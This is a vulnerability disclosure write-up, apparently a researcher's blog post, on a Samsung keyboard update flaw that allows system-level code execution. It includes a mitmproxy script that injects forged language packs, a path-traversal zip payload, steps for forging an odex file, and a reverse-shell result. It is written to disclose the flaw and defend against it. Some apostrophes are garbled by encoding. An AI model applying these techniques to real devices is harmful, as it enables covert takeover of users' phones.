Summary

A remote attacker capable of controlling a userUs network traffic can manipulate the keyboard update mechanism on Samsung phones and execute code as a privileged (system) user on the targetUs phone. This can be exploited in a a manner that requires no user interaction P a user does not have to explicitly choose to download a languagePack update to be exploited.

The Swift keyboard comes pre-installed on Samsung devices and cannot be disabled or uninstalled. Even when it is not used as the default keyboard, it can still be exploited. On Samsung devices, the keyboard was built around the Swift SDK. This makes the Samsung keyboard application (named SamsungIME) distinctly different from the Swift keyboard in the Play store. The verison of the keyboard in the Play store is also susceptible to an remote arbitrary file write, but as it does not run as a privledged user we cannot use the same attack vector.

The proof of concept for the exploit is available here. The vulnerability has been assigned the following CVEUs by CERT: CVE-2015-4640 and CVE-2015-4641.

A video of this exploit in action can be viewed on Youtube here. It can be seen that no user interaction is required other than connecting to a network, opening the keyboard, and rebooting the device.

Please feel free to contact me on twitter @fuzion24 for any additional questions.

Summary edited June 18th, 2015 for increased clarity and on June 29, 2015 to add CVE information.

How it Works

It’s unfortunate but typical for OEMs and carriers to preinstall third-party applications to a device. In some cases these applications are run from a privileged context. This is the case with the Swift keyboard on Samsung. Taking a look at the keyboard we see:

➜ /tmp aapt d badging SamsungIME.apk | head -3 package: name='com.sec.android.inputmethod' versionCode='4' versionName='4.0' sdkVersion:'18' targetSdkVersion:'19' _ /tmp shasum SamsungIME.apk 72f05eff8aecb62eee0ec17aa4433b3829fd8d22 SamsungIME.apk

➜ /tmp aapt d xmltree SamsungIME.apk AndroidManifest.xml | grep shared A: android:sharedUserId(0x0101000b)="android.uid.system" (Raw: "android.uid.system")

This means that the keyboard was signed with SamsungUs private signing key and runs in one of the most privileged contexts on the device, system user, which is a notch short of being root.

Accessibility

The attack vector for this vulnerability requires an attacker capable of modifying upstream traffic. The vulnerability is triggered automatically (no human interaction) on reboot as well as randomly when the application decides to update. This can include geographically proximate attacks such as rogue Wi-Fi access points or cellular base stations, or attacks from local users on a network, including ARP poisoning. Fully remote attacks are also feasible via DNS Hijacking, packet injection, a rogue router or ISP, etc.

The attack setup used for testing was a Linux VM running hostapd with a USB Wi-Fi Dongle. All http traffic was transparently redirected to mitmproxy, where a script generated and injected proper payloads.

Discovery of the Vulnerability

Swift has an update mechanism to allow new languages to be added or existing languages to be upgraded. When a user downloads an additional language pack, we can see the network request that is made:

GET http://skslm.swiftkey.net/samsung/downloads/v1.3-USA/az_AZ.zip ← 200 application/zip 995.63kB 601ms

When the zip is downloaded it is extracted to /data/data/com.sec.android.inputmethod/app_SwiftKey// .

[email protected]:/data/data/com.sec.android.inputmethod/app_SwiftKey/az_AZ # ls -l -rw------- system system 606366 2015-06-11 15:16 az_AZ_bg_c.lm1 -rw------- system system 1524814 2015-06-11 15:16 az_AZ_bg_c.lm3 -rw------- system system 413 2015-06-11 15:16 charactermap.json -rw------- system system 36 2015-06-11 15:16 extraData.json -rw------- system system 55 2015-06-11 15:16 punctuation.json

We can see that the files in our .zip were written as system user. This is a very powerful user capable of writing many places on the file system. Since the application sends the zip file over plaintext, letUs attempt to modify it.

We can do this by setting a global Wi-Fi proxy and pointing our device at mitmproxy on our computer. Then we can write a quick script which feeds it our zip when the keyboard attempts to download:

def request(context, flow): if not flow.request.host == "kslm.swiftkey.net" or not flow.request.endswith(".zip"): return resp = HTTPResponse( [1, 1], 200, "OK", ODictCaseless([["Content-Type", "application/zip"]]), "helloworld") with open('test_language.zip', 'r') as f: payload = f.read() resp.content = payload resp.headers["Content-Length"] = [len(payload)] flow.reply(resp)

Our payload is very simple, containing only one file:

➜ /tmp unzip -l test_keyboard.zip Archive: test_keyboard.zip Length Date Time Name -------- ---- ---- ---- 6 06-11-15 15:33 test -------- ------- 6 1 file

After checking /data/data/com.sec.android.inputmethod/app_SwiftKey/ we notice that neither our language pack directory or test file exist. Bummer. The application must be validating these zips. After a bit more exploration, we notice a manifest was downloaded prior to the zip download which contains a listing of all the language packs, their url locator, and the SHA1 hash of the zip.

The request in mitmproxy:

>> GET http://skslm.swiftkey.net/samsung/downloads/v1.3-USA/languagePacks.json ← 200 application/json 15.38kB 310ms

Let’s take a closer look at this manifest by piping it through jq to pretty print and colorize it:

➜ curl -s 'http://skslm.swiftkey.net/samsung/downloads/v1.3-USA/languagePacks.json' | jq '.[] | select(.name == "English (US)")'

The server responds back with a list of languages, their url locator and their SHA1 hash. An example server response (selecting only the English payload):

{ "name": "English (US)", "language": "en", "country": "US", "sha1": "3b98ee695b3482bd8128e3bc505b427155aba032", "version": 13, "archive": "http://skslm.swiftkey.net/samsung/downloads/v1.3-USA/en_US.zip", "live": { "sha1": "b846a2433cf5fbfb4f6f9ba6c27b6462bb1a923c", "version": 1181, "archive": "http://skslm.swiftkey.net/samsung/downloads/v1.3-USA/ll_en_US.zip" } }

The SHA1 of the language pack upgrades we are downloading are validated based on the information in this manifest. This manifest is also sent insecurely. If we precompute the SHA1 of our payload and create our own manifest, we should be able to change these zip files arbitrarily. In addition, for our payload, letUs add a path traversal and attempt to write a file to /data/. Our payload looks as follows:

➜ samsung_keyboard_hax unzip -l evil.zip Archive: evil.zip Length Date Time Name --------- ---------- ----- ---- 5 2014-08-22 18:52 ../../../../../../../../data/payload --------- ------- 5 1 file

After modifying the manifest appropriately, we check for our payload file and it exists!

➜ samsung_keyboard_hax adbx shell su -c "ls -l /data/payload" -rw------- system system 5 2014-08-22 16:07 payload

File write to code execution

Now, we have an arbitrary file write as system user. Our goal is to turn this write primitive into code execution. The Swift keyboard itself has no executable code in its directory that we can overwrite, therefore we are going to have to look elsewhere.

After a .dex file is optimized, its cache gets stored in /data/dalvik-cache/. All of the files in dalvik-cache are owned by the user system. We want to look for files in dalvik-cache owned by group system, as this will give us all the dalvik-cache files that will execute as the system user.

Out of this list, we want to select a target component that is automatically invoked. Ideally, we can just clobber the whole odex file and replace only our target of interest. This is possible with the framework dalvik cache files available, but it might cause other pieces to break. Instead, letUs choose the DeviceTest ( /data/dalvik-cache/[email protected]@[email protected] ) as our target.

After decompiling and viewing the manifest, we see that the app does indeed have sharedUserId=Sandroid.id.systemS. We also see a BroadcastReceiver defined in the manifest which responds to intents like BOOT_COMPLETED, enabling it to get fired automatically on device (re)boot.

...

We need to generate an odex file with code for a BroadcastReciever named com.sec.factory.entry.FactoryTestBroadcastReceiver . Our exploit source looks like:

➜cat FactoryTestBroadcastReceiver.java | head package com.sec.factory.entry; import java.lang.Class; import java.io.File; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.util.Log; public class FactoryTestBroadcastReceiver extends BroadcastReceiver { //Exploit code here }

Once we have our payload created, we can compile it and run it through the DalvikExchange (dx) tool to get a .jar file which includes our dalvik bytecode. We need get our device to optimize our payload for us before can use it to overwrite the dalvik-cache target. We can push our jar to the device and generate the odex using the following:

ANDROID_DATA=/data/local/tmp dalvikvm -cp /data/local/tmp/ com.sec.factory.entry.FactoryTestBroadcastReceiver

This will put our cache file in a directory that is readable by the shell user:

After injecting this payload into our languagepack zip, triggering the download, and rebooting, we see:

D/dalvikvm( 6276): DexOpt: --- BEGIN 'payload.jar' (bootstrap=0) --- D/dalvikvm( 6277): DexOpt: load 10ms, verify+opt 6ms, 112652 bytes D/dalvikvm( 6276): DexOpt: --- END 'payload.jar' (success) --- I/dalvikvm( 6366): DexOpt: source file mod time mismatch (3edeaec0 vs 3ed6b326)

As part of the .ODEX header, it stores the CRC32 and modification time of the classes.dex from which it was generated. It does so according to the original APKUs Zip file table:

unzip -vl SM-G900V_KOT49H_DeviceTest.apk classes.dex Archive: SM-G900V_KOT49H_DeviceTest.apk Length Method Size Ratio Date Time CRC-32 Name -------- ------ ------- ----- ---- ---- ------ ---- 643852 Defl:N 248479 61% 06-22-11 22:25 f56f855f classes.dex -------- ------- --- ------- 643852 248479 61% 1 file

We need to pull these two bits of information from the zip file and patch our .odex payload to look like it was generated from the original DeviceTest.apk. Please note, the CRC32 and modification time were not meant as a security mechanism, but rather to know when the cache needs to be updated because of an application update.

Patching our .ODEX and retriggering the vulnerability, it executes our payload, which for testing purposes is a reverse shell.

nc 192.168.181.96 8889 id uid=1000(system) gid=1000(system) groups=1000(system),1001(radio),1007(log),1010(wifi),1015(sdcard_rw),1021(gps),1023(media_rw),1024(mtp),1028(sdcard_r),2001(cache),3001(net_bt_admin),3002(net_bt),3003(inet),3004(net_raw),3005(net_admin),3009(qcom_diag),41000(u0_a31000) context=u:r:system_app:s0

A few caveats: the generated ODEX payload is specific to a particular model and version of Samsung device. This requires that a different ODEX be served to each device variant and version. However, Swift is kind enough to give us model version and build information in the http headers where they ask the server for the langaugePack update.

'User-Agent': 'Dalvik/1.6.0 (Linux; U; Android 4.4.2; SM-G900T Build/KOT49H)'

Mitigations

Unfortunately, the flawed keyboard app canUt be uninstalled or disabled. Also, it isnUt easy for the Samsung mobile device user to tell if the carrier has patched the problem with a software update. To reduce your risk, avoid unsecured Wi-Fi networks, use a different mobile device and contact your carrier for patch information and timing.